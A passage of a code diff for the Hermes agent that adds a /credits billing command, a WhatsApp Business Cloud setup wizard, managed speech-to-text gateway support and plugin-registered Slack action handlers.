opens the portal billing page with the modal open. The terminal does NOT
|
||||
confirm, poll, or track payment (billing phase 2a) — checkout happens in
|
||||
the browser and the next /credits shows the new balance. The tappable URL
|
||||
is the affordance: it works on every platform (button-capable or plain
|
||||
text like SMS/email). Fetched off the event loop; fail-open.
|
||||
"""
|
||||
from agent.account_usage import build_credits_view
|
||||
|
||||
try:
|
||||
view = await asyncio.to_thread(build_credits_view, markdown=True)
|
||||
except Exception:
|
||||
view = None
|
||||
|
||||
if view is None or not view.logged_in:
|
||||
return t("gateway.credits.not_logged_in")
|
||||
|
||||
lines: list[str] = ["💳 **Nous credits**"]
|
||||
for line in view.balance_lines:
|
||||
if line.lstrip().startswith("📈"):
|
||||
continue # drop the helper's header; we print our own
|
||||
lines.append(line)
|
||||
if view.identity_line:
|
||||
lines.append("")
|
||||
lines.append(view.identity_line)
|
||||
if view.topup_url:
|
||||
lines.append("")
|
||||
lines.append(f"Top up: {view.topup_url}")
|
||||
lines.append("Complete your top-up in the browser — credits will appear in /credits shortly.")
|
||||
return "\n".join(lines)
|
||||
|
||||
async def _handle_usage_command(self, event: MessageEvent) -> str:
|
||||
"""Handle /usage command -- show token usage for the current session.
|
||||
|
||||
|
||||
@@ -214,6 +214,7 @@ COMMAND_REGISTRY: list[CommandDef] = [
|
||||
CommandDef("restart", "Gracefully restart the gateway after draining active runs", "Session",
|
||||
gateway_only=True),
|
||||
CommandDef("usage", "Show token usage and rate limits for the current session", "Info"),
|
||||
CommandDef("credits", "Show Nous credit balance and top up", "Info"),
|
||||
CommandDef("insights", "Show usage insights and analytics", "Info",
|
||||
args_hint="[days]"),
|
||||
CommandDef("platforms", "Show gateway/messaging platform status", "Info",
|
||||
@@ -1043,6 +1044,17 @@ _SLACK_RESERVED_COMMANDS = frozenset({
|
||||
# native slot, the alias spelling stays reachable via /hermes reset).
|
||||
_SLACK_PRIORITY_ALIASES = ("btw", "bg")
|
||||
|
||||
# Canonical commands intentionally NOT given a native Slack slash slot. Slack
|
||||
# caps apps at 50 slash commands and the registry is at that ceiling; rather
|
||||
# than let the clamp silently drop whichever command sorts last (and break
|
||||
# Telegram parity), we explicitly route a few low-frequency commands through
|
||||
# ``/hermes <command>`` on Slack only. They remain native on every other
|
||||
# surface (CLI, TUI, Telegram, Discord). Keep this list TIGHT and intentional —
|
||||
# the telegram-parity test reads it so an entry here is a deliberate
|
||||
# "Slack-via-/hermes" decision, not a silent clamp.
|
||||
# - credits: the billing/top-up surface; reached via /hermes credits on Slack.
|
||||
_SLACK_VIA_HERMES_ONLY = frozenset({"credits"})
|
||||
|
||||
|
||||
def _sanitize_slack_name(raw: str) -> str:
|
||||
"""Convert a command name to a valid Slack slash command name.
|
||||
@@ -1091,6 +1103,9 @@ def slack_native_slashes() -> list[tuple[str, str, str]]:
|
||||
return
|
||||
if slack_name in _SLACK_RESERVED_COMMANDS:
|
||||
return
|
||||
if slack_name in _SLACK_VIA_HERMES_ONLY:
|
||||
# Intentionally Slack-via-/hermes only (see _SLACK_VIA_HERMES_ONLY).
|
||||
return
|
||||
if len(entries) >= _SLACK_MAX_SLASH_COMMANDS:
|
||||
return
|
||||
# Slack description cap is 2000 chars; keep it short.
|
||||
|
||||
@@ -1429,6 +1429,10 @@ DEFAULT_CONFIG = {
|
||||
# behaves badly with replayed scrollback.
|
||||
"persistent_output": True,
|
||||
"persistent_output_max_lines": 200,
|
||||
# Print a one-line summary of resolved modal prompts (approval /
|
||||
# clarify) into scrollback so the question and decision survive the
|
||||
# panel repaint. Set false to keep scrollback untouched.
|
||||
"persist_prompts": True,
|
||||
"inline_diffs": True, # Show inline diff previews for write actions (write_file, patch, skill_manage)
|
||||
# File-mutation verifier footer. When true (default), the agent
|
||||
# appends a one-line advisory to its final response whenever a
|
||||
@@ -1438,6 +1442,11 @@ DEFAULT_CONFIG = {
|
||||
# class of over-claim that otherwise forces users to run
|
||||
# `git status` to verify edits landed. Set false to suppress.
|
||||
"file_mutation_verifier": True,
|
||||
# Nous credits status-bar notices (usage bands, grant-spent, depleted /
|
||||
# restored). When false, no credits notices are emitted — balance data
|
||||
# is still captured and /usage keeps working. Off switch for sub +
|
||||
# top-up users who find the gauge noisy.
|
||||
"credits_notices": True,
|
||||
# Turn-completion explainer. When true (default), the agent appends a
|
||||
# one-line explanation to its final response whenever a turn ends
|
||||
# abnormally with no usable reply — empty content after retries, a
|
||||
|
||||
+68
-2
@@ -2514,6 +2514,25 @@ def cmd_whatsapp(args):
|
||||
print("⚠ Pairing may not have completed. Run 'hermes whatsapp' to try again.")
|
||||
|
||||
|
||||
def cmd_whatsapp_cloud(args):
|
||||
"""Set up WhatsApp Business Cloud API (official Meta integration).
|
||||
|
||||
Walks the user through the Meta-side credentials (Phone Number ID,
|
||||
Access Token, App Secret, optional App/WABA IDs) plus webhook
|
||||
configuration. Includes field-shape validators that catch the most
|
||||
common setup mistakes (e.g. pasting a phone number into the Phone
|
||||
Number ID field).
|
||||
|
||||
Distinct from ``hermes whatsapp`` (the Baileys bridge wizard) — the
|
||||
two adapters are complementary, not alternatives. See
|
||||
``hermes_cli/setup_whatsapp_cloud.py``.
|
||||
"""
|
||||
_require_tty("whatsapp-cloud")
|
||||
from hermes_cli.setup_whatsapp_cloud import run_whatsapp_cloud_setup
|
||||
|
||||
return run_whatsapp_cloud_setup()
|
||||
|
||||
|
||||
def cmd_setup(args):
|
||||
"""Interactive setup wizard."""
|
||||
from hermes_cli.setup import run_setup_wizard
|
||||
@@ -9540,6 +9559,7 @@ def _coalesce_session_name_args(argv: list) -> list:
|
||||
"gateway",
|
||||
"setup",
|
||||
"whatsapp",
|
||||
"whatsapp-cloud",
|
||||
"login",
|
||||
"logout",
|
||||
"auth",
|
||||
@@ -10332,6 +10352,8 @@ def cmd_dashboard(args):
|
||||
_launch_profile not in ("default", "custom")
|
||||
and not getattr(args, "isolated", False)
|
||||
and not getattr(args, "open_profile", "")
|
||||
# Desktop pool backends are intentionally per-profile.
|
||||
and os.environ.get("HERMES_DESKTOP") != "1"
|
||||
):
|
||||
url = f"http://{args.host or '127.0.0.1'}:{args.port}/?profile={_launch_profile}"
|
||||
if _dashboard_listening(args.host, args.port):
|
||||
@@ -10366,7 +10388,16 @@ def cmd_dashboard(args):
|
||||
env = os.environ.copy()
|
||||
# Drop the profile HERMES_HOME so the child binds the machine root.
|
||||
env.pop("HERMES_HOME", None)
|
||||
os.execvpe(sys.executable, reexec_argv, env)
|
||||
# On Windows, os.execvpe() does not truly replace the process — it
|
||||
# spawns via CreateProcess then the parent exits. Under Python 3.14+
|
||||
# this can crash with STATUS_ACCESS_VIOLATION (0xC0000005) when
|
||||
# re-executing the dashboard for a non-default profile. Use
|
||||
# subprocess.Popen + sys.exit() on Windows to avoid the crash.
|
||||
if sys.platform == "win32":
|
||||
proc = subprocess.Popen(reexec_argv, env=env)
|
||||
sys.exit(proc.wait())
|
||||
else:
|
||||
os.execvpe(sys.executable, reexec_argv, env)
|
||||
|
||||
# Attach gui.log early so dashboard startup/build failures are captured in
|
||||
# the same logs directory as every other Hermes surface.
|
||||
@@ -10431,6 +10462,26 @@ def cmd_dashboard(args):
|
||||
# the missing-provider state if it matters.
|
||||
print(f"⚠ Plugin discovery failed: {exc}", file=sys.stderr)
|
||||
|
||||
# Desktop chat uses the dashboard's in-process /api/ws gateway, which builds
|
||||
# agents via tui_gateway.server._make_agent. That path only snapshots the
|
||||
# tool registry — it never starts MCP discovery (the stdio TUI does that in
|
||||
# tui_gateway/entry.py, which the dashboard process doesn't run). Without
|
||||
# this, a profile's configured MCP servers never connect, so desktop
|
||||
# sessions show no MCP tools. Spawn discovery in the background here so a
|
||||
# slow/dead server can't block dashboard startup.
|
||||
try:
|
||||
from hermes_cli.mcp_startup import start_background_mcp_discovery
|
||||
|
||||
start_background_mcp_discovery(
|
||||
logger=logger,
|
||||
thread_name="dashboard-mcp-discovery",
|
||||
)
|
||||
except Exception:
|
||||
logger.debug(
|
||||
"Background MCP tool discovery failed at dashboard startup",
|
||||
exc_info=True,
|
||||
)
|
||||
|
||||
from hermes_cli.web_server import start_server
|
||||
|
||||
# The in-browser Chat tab (the embedded TUI over PTY/WebSocket) is always
|
||||
@@ -10511,7 +10562,7 @@ _BUILTIN_SUBCOMMANDS = frozenset(
|
||||
"prompt-size",
|
||||
"send", "sessions", "setup",
|
||||
"skills", "slack", "status", "tools", "uninstall", "update",
|
||||
"version", "webhook", "whatsapp", "chat", "secrets", "security",
|
||||
"version", "webhook", "whatsapp", "whatsapp-cloud", "chat", "secrets", "security",
|
||||
# Help-ish invocations — plugin commands not being listed in
|
||||
# top-level --help is an acceptable trade-off for skipping an
|
||||
# expensive eager import of every bundled plugin module.
|
||||
@@ -11172,6 +11223,21 @@ def main():
|
||||
# =========================================================================
|
||||
build_whatsapp_parser(subparsers, cmd_whatsapp=cmd_whatsapp)
|
||||
|
||||
# =========================================================================
|
||||
# whatsapp-cloud command (official Meta Cloud API; complement to Baileys)
|
||||
# =========================================================================
|
||||
whatsapp_cloud_parser = subparsers.add_parser(
|
||||
"whatsapp-cloud",
|
||||
help="Set up WhatsApp Business Cloud API integration",
|
||||
description=(
|
||||
"Configure the official Meta WhatsApp Business Cloud API "
|
||||
"adapter (Business account required, public webhook URL "
|
||||
"required). Distinct from `hermes whatsapp` which sets up "
|
||||
"the Baileys bridge for personal accounts."
|
||||
),
|
||||
)
|
||||
whatsapp_cloud_parser.set_defaults(func=cmd_whatsapp_cloud)
|
||||
|
||||
# =========================================================================
|
||||
# slack command (parser built in hermes_cli/subcommands/slack.py)
|
||||
# =========================================================================
|
||||
|
||||
@@ -80,6 +80,8 @@ class NousPortalAccountInfo:
|
||||
fresh: bool
|
||||
user_id: Optional[str] = None
|
||||
org_id: Optional[str] = None
|
||||
org_slug: Optional[str] = None
|
||||
org_name: Optional[str] = None
|
||||
client_id: Optional[str] = None
|
||||
product_id: Optional[str] = None
|
||||
nous_client: Optional[str] = None
|
||||
@@ -140,6 +142,29 @@ def nous_portal_billing_url(account_info: Optional[NousPortalAccountInfo] = None
|
||||
return f"{base.rstrip('/')}/billing"
|
||||
|
||||
|
||||
def nous_portal_topup_url(account_info: Optional[NousPortalAccountInfo] = None) -> str:
|
||||
"""Return the portal top-up URL that auto-opens the top-up modal.
|
||||
|
||||
Prefers the org-pinned page ``{base}/orgs/{slug}/billing?topup=open`` (skips
|
||||
the legacy shim's re-resolution + multi-org disambiguation). Falls back to the
|
||||
legacy ``{base}/billing?topup=open`` when the account has no ``org_slug`` (the
|
||||
portal's ``slug`` is nullable; the legacy page forwards the param through to
|
||||
the org-pinned page). Never builds ``/orgs/None/billing``.
|
||||
|
||||
The ``?topup=open`` query is the NAS enabler that lands the user in the
|
||||
top-up flow rather than just on the billing page.
|
||||
"""
|
||||
base_billing = nous_portal_billing_url(account_info) # {base}/billing
|
||||
base = base_billing[: -len("/billing")] # strip the trailing /billing
|
||||
|
||||
slug = getattr(account_info, "org_slug", None) if account_info is not None else None
|
||||
if isinstance(slug, str) and slug.strip():
|
||||
from urllib.parse import quote
|
||||
|
||||
return f"{base}/orgs/{quote(slug.strip(), safe='')}/billing?topup=open"
|
||||
return f"{base}/billing?topup=open"
|
||||
|
||||
|
||||
def format_nous_portal_entitlement_message(
|
||||
account_info: Optional[NousPortalAccountInfo],
|
||||
*,
|
||||
@@ -607,12 +632,10 @@ def _info_from_account_payload(
|
||||
state: dict[str, Any],
|
||||
portal_base_url: Optional[str],
|
||||
) -> NousPortalAccountInfo:
|
||||
user = payload.get("user") if isinstance(payload.get("user"), dict) else {}
|
||||
organisation = (
|
||||
payload.get("organisation")
|
||||
if isinstance(payload.get("organisation"), dict)
|
||||
else {}
|
||||
)
|
||||
raw_user = payload.get("user")
|
||||
user: dict[str, Any] = raw_user if isinstance(raw_user, dict) else {}
|
||||
raw_org = payload.get("organisation")
|
||||
organisation: dict[str, Any] = raw_org if isinstance(raw_org, dict) else {}
|
||||
subscription = _subscription_from_payload(payload.get("subscription"))
|
||||
access = _paid_service_access_from_payload(payload.get("paid_service_access"))
|
||||
paid_access = access.allowed if access else None
|
||||
@@ -624,6 +647,8 @@ def _info_from_account_payload(
|
||||
source="account_api",
|
||||
fresh=True,
|
||||
org_id=_coerce_str(organisation.get("id")) or (access.organisation_id if access else None),
|
||||
org_slug=_coerce_str(organisation.get("slug")),
|
||||
org_name=_coerce_str(organisation.get("name")),
|
||||
client_id=_coerce_str(state.get("client_id")),
|
||||
portal_base_url=portal_base_url,
|
||||
inference_base_url=_coerce_str(state.get("inference_base_url")),
|
||||
|
||||
@@ -39,6 +39,9 @@ MANAGED_FEATURE_COVERAGE_CATEGORY: Dict[str, str] = {
|
||||
"image_gen": "fal",
|
||||
"video_gen": "fal-video",
|
||||
"tts": "openai-audio",
|
||||
# STT shares the TTS coverage category: both ride the managed
|
||||
# "openai-audio" gateway endpoint (speech + transcriptions).
|
||||
"stt": "openai-audio",
|
||||
"browser": "browser-use",
|
||||
"modal": "modal",
|
||||
}
|
||||
@@ -85,6 +88,10 @@ class NousSubscriptionFeatures:
|
||||
def tts(self) -> NousFeatureState:
|
||||
return self.features["tts"]
|
||||
|
||||
@property
|
||||
def stt(self) -> NousFeatureState:
|
||||
return self.features["stt"]
|
||||
|
||||
@property
|
||||
def browser(self) -> NousFeatureState:
|
||||
return self.features["browser"]
|
||||
@@ -98,7 +105,7 @@ class NousSubscriptionFeatures:
|
||||
return self.features["modal"]
|
||||
|
||||
def items(self) -> Iterable[NousFeatureState]:
|
||||
ordered = ("web", "image_gen", "video_gen", "tts", "browser", "modal")
|
||||
ordered = ("web", "image_gen", "video_gen", "tts", "stt", "browser", "modal")
|
||||
for key in ordered:
|
||||
yield self.features[key]
|
||||
|
||||
@@ -209,6 +216,34 @@ def _tts_label(current_provider: str) -> str:
|
||||
return mapping.get(current_provider or "edge", current_provider or "Edge TTS")
|
||||
|
||||
|
||||
def _stt_label(current_provider: str) -> str:
|
||||
mapping = {
|
||||
"openai": "OpenAI Whisper",
|
||||
"groq": "Groq Whisper",
|
||||
"mistral": "Mistral Voxtral Transcribe",
|
||||
"local": "Local faster-whisper",
|
||||
}
|
||||
return mapping.get(current_provider or "local", current_provider or "Local faster-whisper")
|
||||
|
||||
|
||||
def _local_stt_backend_available() -> bool:
|
||||
"""Whether a local STT backend could serve transcription right now.
|
||||
|
||||
True when faster-whisper is importable or a custom local STT command
|
||||
is configured. Used both for feature detection and to stop
|
||||
``apply_nous_managed_defaults`` from flipping a working local setup
|
||||
to the managed gateway.
|
||||
"""
|
||||
if get_env_value("HERMES_LOCAL_STT_COMMAND"):
|
||||
return True
|
||||
try:
|
||||
from tools.transcription_tools import _HAS_FASTER_WHISPER
|
||||
|
||||
return bool(_HAS_FASTER_WHISPER)
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
def _resolve_browser_feature_state(
|
||||
*,
|
||||
browser_tool_enabled: bool,
|
||||
@@ -327,6 +362,7 @@ def get_nous_subscription_features(
|
||||
|
||||
web_cfg = config.get("web") if isinstance(config.get("web"), dict) else {}
|
||||
tts_cfg = config.get("tts") if isinstance(config.get("tts"), dict) else {}
|
||||
stt_cfg = config.get("stt") if isinstance(config.get("stt"), dict) else {}
|
||||
browser_cfg = config.get("browser") if isinstance(config.get("browser"), dict) else {}
|
||||
terminal_cfg = config.get("terminal") if isinstance(config.get("terminal"), dict) else {}
|
||||
|
||||
@@ -336,6 +372,11 @@ def get_nous_subscription_features(
|
||||
web_search_backend = str(web_cfg.get("search_backend") or "").strip().lower()
|
||||
web_extract_backend = str(web_cfg.get("extract_backend") or "").strip().lower()
|
||||
tts_provider = str(tts_cfg.get("provider") or "edge").strip().lower()
|
||||
# STT default is "local" (faster-whisper) per DEFAULT_CONFIG, which
|
||||
# requires `pip install faster-whisper`. For Nous subscribers we'd
|
||||
# rather route through the managed OpenAI audio gateway — see
|
||||
# apply_nous_managed_defaults below.
|
||||
stt_provider = str(stt_cfg.get("provider") or "local").strip().lower()
|
||||
browser_provider_explicit = "cloud_provider" in browser_cfg
|
||||
browser_provider = normalize_browser_cloud_provider(
|
||||
browser_cfg.get("cloud_provider") if browser_provider_explicit else None
|
||||
@@ -352,6 +393,7 @@ def get_nous_subscription_features(
|
||||
# prevent gateway routing.
|
||||
web_use_gateway = _uses_gateway(web_cfg)
|
||||
tts_use_gateway = _uses_gateway(tts_cfg)
|
||||
stt_use_gateway = _uses_gateway(stt_cfg)
|
||||
browser_use_gateway = _uses_gateway(browser_cfg)
|
||||
image_gen_cfg = config.get("image_gen") if isinstance(config.get("image_gen"), dict) else {}
|
||||
image_use_gateway = _uses_gateway(image_gen_cfg)
|
||||
@@ -372,6 +414,22 @@ def get_nous_subscription_features(
|
||||
direct_browser_use = bool(get_env_value("BROWSER_USE_API_KEY"))
|
||||
direct_modal = has_direct_modal_credentials()
|
||||
|
||||
# STT direct providers. OpenAI Whisper reuses the same audio key as
|
||||
# OpenAI TTS — resolve_openai_audio_api_key() reads VOICE_TOOLS_OPENAI_KEY
|
||||
# and falls back to OPENAI_API_KEY. The local provider's "direct"
|
||||
# signal is whether faster-whisper is importable; we lazy-import so
|
||||
# this module stays cheap on the happy path.
|
||||
direct_openai_stt = bool(resolve_openai_audio_api_key())
|
||||
direct_groq_stt = bool(get_env_value("GROQ_API_KEY"))
|
||||
direct_mistral_stt = bool(get_env_value("MISTRAL_API_KEY"))
|
||||
try:
|
||||
from tools.transcription_tools import _HAS_FASTER_WHISPER
|
||||
local_stt_available = bool(_HAS_FASTER_WHISPER) or bool(
|
||||
get_env_value("HERMES_LOCAL_STT_COMMAND")
|
||||
)
|
||||
except Exception:
|
||||
local_stt_available = bool(get_env_value("HERMES_LOCAL_STT_COMMAND"))
|
||||
|
||||
# When use_gateway is set, suppress direct credentials for managed detection
|
||||
if web_use_gateway:
|
||||
direct_firecrawl = False
|
||||
@@ -385,6 +443,11 @@ def get_nous_subscription_features(
|
||||
if tts_use_gateway:
|
||||
direct_openai_tts = False
|
||||
direct_elevenlabs = False
|
||||
if stt_use_gateway:
|
||||
direct_openai_stt = False
|
||||
direct_groq_stt = False
|
||||
direct_mistral_stt = False
|
||||
local_stt_available = False
|
||||
if browser_use_gateway:
|
||||
direct_browser_use = False
|
||||
direct_browserbase = False
|
||||
@@ -416,6 +479,10 @@ def get_nous_subscription_features(
|
||||
and is_managed_tool_gateway_ready("openai-audio")
|
||||
and _entitled_for("openai-audio")
|
||||
)
|
||||
# STT and TTS share the same managed gateway endpoint ("openai-audio")
|
||||
# because the OpenAI audio API covers both /audio/speech (TTS) and
|
||||
# /audio/transcriptions (STT). One probe (and one entitlement), used by both.
|
||||
managed_stt_available = managed_tts_available
|
||||
managed_browser_available = (
|
||||
managed_tools_flag
|
||||
and nous_auth_present
|
||||
@@ -481,6 +548,24 @@ def get_nous_subscription_features(
|
||||
)
|
||||
tts_active = bool(tts_tool_enabled and tts_available)
|
||||
|
||||
# STT availability per provider. Unlike TTS, STT isn't a model-callable
|
||||
# tool — the gateway voice middleware calls it on every inbound voice
|
||||
# message — so toolset_enabled is N/A and we treat stt as always
|
||||
# "enabled" if a usable provider is configured.
|
||||
stt_current_provider = stt_provider or "local"
|
||||
stt_managed = (
|
||||
stt_current_provider == "openai"
|
||||
and managed_stt_available
|
||||
and not direct_openai_stt
|
||||
)
|
||||
stt_available = bool(
|
||||
(stt_current_provider == "local" and local_stt_available)
|
||||
or (stt_current_provider == "openai" and (managed_stt_available or direct_openai_stt))
|
||||
or (stt_current_provider == "groq" and direct_groq_stt)
|
||||
or (stt_current_provider == "mistral" and direct_mistral_stt)
|
||||
)
|
||||
stt_active = stt_available
|
||||
|
||||
browser_local_available = _has_agent_browser()
|
||||
browser_local_runnable = _local_browser_runnable()
|
||||
(
|
||||
@@ -537,6 +622,13 @@ def get_nous_subscription_features(
|
||||
if isinstance(raw_tts_cfg, dict) and "provider" in raw_tts_cfg:
|
||||
tts_explicit_configured = tts_provider not in {"", "edge"}
|
||||
|
||||
# STT considers any non-default provider explicit. "local" is the
|
||||
# DEFAULT_CONFIG seed, so seeing it doesn't mean the user picked it.
|
||||
stt_explicit_configured = False
|
||||
raw_stt_cfg = config.get("stt")
|
||||
if isinstance(raw_stt_cfg, dict) and "provider" in raw_stt_cfg:
|
||||
stt_explicit_configured = stt_provider not in {"", "local"}
|
||||
|
||||
features = {
|
||||
"web": NousFeatureState(
|
||||
key="web",
|
||||
@@ -586,6 +678,21 @@ def get_nous_subscription_features(
|
||||
current_provider=_tts_label(tts_current_provider),
|
||||
explicit_configured=tts_explicit_configured,
|
||||
),
|
||||
"stt": NousFeatureState(
|
||||
key="stt",
|
||||
label="Speech-to-text",
|
||||
included_by_default=True,
|
||||
available=stt_available,
|
||||
active=stt_active,
|
||||
managed_by_nous=stt_managed,
|
||||
direct_override=stt_active and not stt_managed,
|
||||
# STT isn't toolset-gated (gateway middleware calls it
|
||||
# unconditionally on inbound voice), so report True so the
|
||||
# status display doesn't flag it as "tool disabled".
|
||||
toolset_enabled=True,
|
||||
current_provider=_stt_label(stt_current_provider),
|
||||
explicit_configured=stt_explicit_configured,
|
||||
),
|
||||
"browser": NousFeatureState(
|
||||
key="browser",
|
||||
label="Browser automation",
|
||||
@@ -653,6 +760,11 @@ def apply_nous_managed_defaults(
|
||||
tts_cfg = {}
|
||||
config["tts"] = tts_cfg
|
||||
|
||||
stt_cfg = config.get("stt")
|
||||
if not isinstance(stt_cfg, dict):
|
||||
stt_cfg = {}
|
||||
config["stt"] = stt_cfg
|
||||
|
||||
browser_cfg = config.get("browser")
|
||||
if not isinstance(browser_cfg, dict):
|
||||
browser_cfg = {}
|
||||
@@ -674,6 +786,30 @@ def apply_nous_managed_defaults(
|
||||
tts_cfg["provider"] = "openai"
|
||||
changed.add("tts")
|
||||
|
||||
# STT: same pattern as TTS. The DEFAULT_CONFIG seed is "local"
|
||||
# (requires `pip install faster-whisper`); for Nous subscribers we
|
||||
# flip it to "openai" so the managed audio gateway handles transcription
|
||||
# via the same auth as TTS. Skipped when the user has explicitly
|
||||
# configured STT, has direct credentials for a non-managed provider,
|
||||
# has a working local backend (faster-whisper installed or a custom
|
||||
# local command — strong intent signal that "local" was a choice, not
|
||||
# just the DEFAULT_CONFIG seed), or isn't entitled to the managed
|
||||
# "openai-audio" category (flipping would point at a gateway that
|
||||
# refuses them, silently breaking voice transcription).
|
||||
if (
|
||||
not features.stt.explicit_configured
|
||||
and not _local_stt_backend_available()
|
||||
and not (
|
||||
resolve_openai_audio_api_key()
|
||||
or get_env_value("GROQ_API_KEY")
|
||||
or get_env_value("MISTRAL_API_KEY")
|
||||
)
|
||||
and features.account_info is not None
|
||||
and features.account_info.tool_gateway_entitled_for("openai-audio")
|
||||
):
|
||||
stt_cfg["provider"] = "openai"
|
||||
changed.add("stt")
|
||||
|
||||
if "browser" in selected_toolsets and not features.browser.explicit_configured and not (
|
||||
get_env_value("BROWSER_USE_API_KEY")
|
||||
or get_env_value("BROWSERBASE_API_KEY")
|
||||
@@ -716,6 +852,7 @@ _GATEWAY_TOOL_LABELS = {
|
||||
"image_gen": "Image generation (FAL)",
|
||||
"video_gen": "Video generation (FAL)",
|
||||
"tts": "Text-to-speech (OpenAI TTS)",
|
||||
"stt": "Speech-to-text (OpenAI Whisper)",
|
||||
"browser": "Browser automation (Browser Use)",
|
||||
}
|
||||
|
||||
@@ -737,6 +874,15 @@ def _get_gateway_direct_credentials() -> Dict[str, bool]:
|
||||
resolve_openai_audio_api_key()
|
||||
or get_env_value("ELEVENLABS_API_KEY")
|
||||
),
|
||||
# STT direct credentials. OpenAI Whisper shares the audio key
|
||||
# with TTS via resolve_openai_audio_api_key() — counting it here
|
||||
# too is intentional: if the user has an OpenAI audio key they
|
||||
# don't need the gateway for either.
|
||||
"stt": bool(
|
||||
resolve_openai_audio_api_key()
|
||||
or get_env_value("GROQ_API_KEY")
|
||||
or get_env_value("MISTRAL_API_KEY")
|
||||
),
|
||||
"browser": bool(
|
||||
get_env_value("BROWSER_USE_API_KEY")
|
||||
or (get_env_value("BROWSERBASE_API_KEY") and get_env_value("BROWSERBASE_PROJECT_ID"))
|
||||
@@ -749,10 +895,11 @@ _GATEWAY_DIRECT_LABELS = {
|
||||
"image_gen": "FAL key",
|
||||
"video_gen": "FAL key",
|
||||
"tts": "OpenAI/ElevenLabs key",
|
||||
"stt": "OpenAI/Groq/Mistral key",
|
||||
"browser": "Browser Use/Browserbase key",
|
||||
}
|
||||
|
||||
_ALL_GATEWAY_KEYS = ("web", "image_gen", "video_gen", "tts", "browser")
|
||||
_ALL_GATEWAY_KEYS = ("web", "image_gen", "video_gen", "tts", "stt", "browser")
|
||||
|
||||
|
||||
def get_gateway_eligible_tools(
|
||||
@@ -798,6 +945,7 @@ def get_gateway_eligible_tools(
|
||||
"image_gen": _uses_gateway(config.get("image_gen")),
|
||||
"video_gen": _uses_gateway(config.get("video_gen")),
|
||||
"tts": _uses_gateway(config.get("tts")),
|
||||
"stt": _uses_gateway(config.get("stt")),
|
||||
"browser": _uses_gateway(config.get("browser")),
|
||||
}
|
||||
|
||||
@@ -844,6 +992,11 @@ def apply_gateway_defaults(
|
||||
tts_cfg = {}
|
||||
config["tts"] = tts_cfg
|
||||
|
||||
stt_cfg = config.get("stt")
|
||||
if not isinstance(stt_cfg, dict):
|
||||
stt_cfg = {}
|
||||
config["stt"] = stt_cfg
|
||||
|
||||
browser_cfg = config.get("browser")
|
||||
if not isinstance(browser_cfg, dict):
|
||||
browser_cfg = {}
|
||||
@@ -859,6 +1012,11 @@ def apply_gateway_defaults(
|
||||
tts_cfg["use_gateway"] = True
|
||||
changed.add("tts")
|
||||
|
||||
if "stt" in tool_keys:
|
||||
stt_cfg["provider"] = "openai"
|
||||
stt_cfg["use_gateway"] = True
|
||||
changed.add("stt")
|
||||
|
||||
if "browser" in tool_keys:
|
||||
browser_cfg["cloud_provider"] = "browser-use"
|
||||
browser_cfg["use_gateway"] = True
|
||||
|
||||
@@ -24,6 +24,7 @@ PLATFORMS: OrderedDict[str, PlatformInfo] = OrderedDict([
|
||||
("discord", PlatformInfo(label="💬 Discord", default_toolset="hermes-discord")),
|
||||
("slack", PlatformInfo(label="💼 Slack", default_toolset="hermes-slack")),
|
||||
("whatsapp", PlatformInfo(label="📱 WhatsApp", default_toolset="hermes-whatsapp")),
|
||||
("whatsapp_cloud", PlatformInfo(label="📱 WhatsApp Business (Cloud)", default_toolset="hermes-whatsapp")),
|
||||
("signal", PlatformInfo(label="📡 Signal", default_toolset="hermes-signal")),
|
||||
("bluebubbles", PlatformInfo(label="💙 BlueBubbles", default_toolset="hermes-bluebubbles")),
|
||||
("email", PlatformInfo(label="📧 Email", default_toolset="hermes-email")),
|
||||
|
||||
+108
-29
@@ -821,6 +821,64 @@ class PluginContext:
|
||||
name,
|
||||
)
|
||||
|
||||
# -- slack action handler registration ----------------------------------
|
||||
|
||||
def register_slack_action_handler(
|
||||
self,
|
||||
action_id: Any,
|
||||
callback: Callable,
|
||||
) -> None:
|
||||
"""Register a Slack Block Kit action handler from a plugin.
|
||||
|
||||
Hermes' Slack adapter wires registered handlers into its
|
||||
``slack_bolt.AsyncApp`` at connect time. The callback is invoked
|
||||
when a user clicks a button (or interacts with another Block Kit
|
||||
action element) whose ``action_id`` matches.
|
||||
|
||||
Callback signature follows the slack_bolt convention::
|
||||
|
||||
async def handler(ack, body, action) -> None:
|
||||
await ack() # required, within 3 seconds
|
||||
...
|
||||
|
||||
Args:
|
||||
action_id: Whatever ``slack_bolt.App.action()`` accepts —
|
||||
a literal ``action_id`` string, a compiled ``re.Pattern``
|
||||
for matching multiple ids, or a constraint dict
|
||||
(e.g. ``{"action_id": "...", "block_id": "..."}``).
|
||||
callback: Async callable receiving ``(ack, body, action)``.
|
||||
|
||||
Raises:
|
||||
ValueError: if ``callback`` is not callable, or ``action_id``
|
||||
is empty/None.
|
||||
|
||||
Example::
|
||||
|
||||
async def _on_approve(ack, body, action):
|
||||
await ack()
|
||||
# apply some workflow keyed on action["value"]
|
||||
|
||||
ctx.register_slack_action_handler("inbox_sweep_approve", _on_approve)
|
||||
"""
|
||||
if not callable(callback):
|
||||
raise ValueError(
|
||||
f"Plugin '{self.manifest.name}' tried to register a Slack "
|
||||
f"action handler with a non-callable callback."
|
||||
)
|
||||
if action_id is None or (isinstance(action_id, str) and not action_id.strip()):
|
||||
raise ValueError(
|
||||
f"Plugin '{self.manifest.name}' tried to register a Slack "
|
||||
f"action handler with an empty action_id."
|
||||
)
|
||||
self._manager._slack_action_handlers.append(
|
||||
(action_id, callback, self.manifest.name)
|
||||
)
|
||||
logger.debug(
|
||||
"Plugin %s registered Slack action handler: %s",
|
||||
self.manifest.name,
|
||||
action_id,
|
||||
)
|
||||
|
||||
# -- hook registration --------------------------------------------------
|
||||
|
||||
# -- auxiliary task registration ---------------------------------------
|
||||
@@ -1045,6 +1103,13 @@ class PluginManager:
|
||||
# Plugin-registered auxiliary tasks: key → {key, display_name,
|
||||
# description, defaults, plugin}. See PluginContext.register_auxiliary_task.
|
||||
self._aux_tasks: Dict[str, Dict[str, Any]] = {}
|
||||
# Slack Block Kit action handlers registered by plugins. Each entry
|
||||
# is (matcher, callback, plugin_name); the Slack adapter wires them
|
||||
# into its slack_bolt App at connect() time. ``matcher`` is whatever
|
||||
# ``app.action()`` accepts (a literal action_id string, a compiled
|
||||
# ``re.Pattern``, or a constraint dict); ``callback`` is an async
|
||||
# function with the slack_bolt signature ``(ack, body, action)``.
|
||||
self._slack_action_handlers: List[tuple] = []
|
||||
|
||||
# -----------------------------------------------------------------------
|
||||
# Public
|
||||
@@ -1064,10 +1129,12 @@ class PluginManager:
|
||||
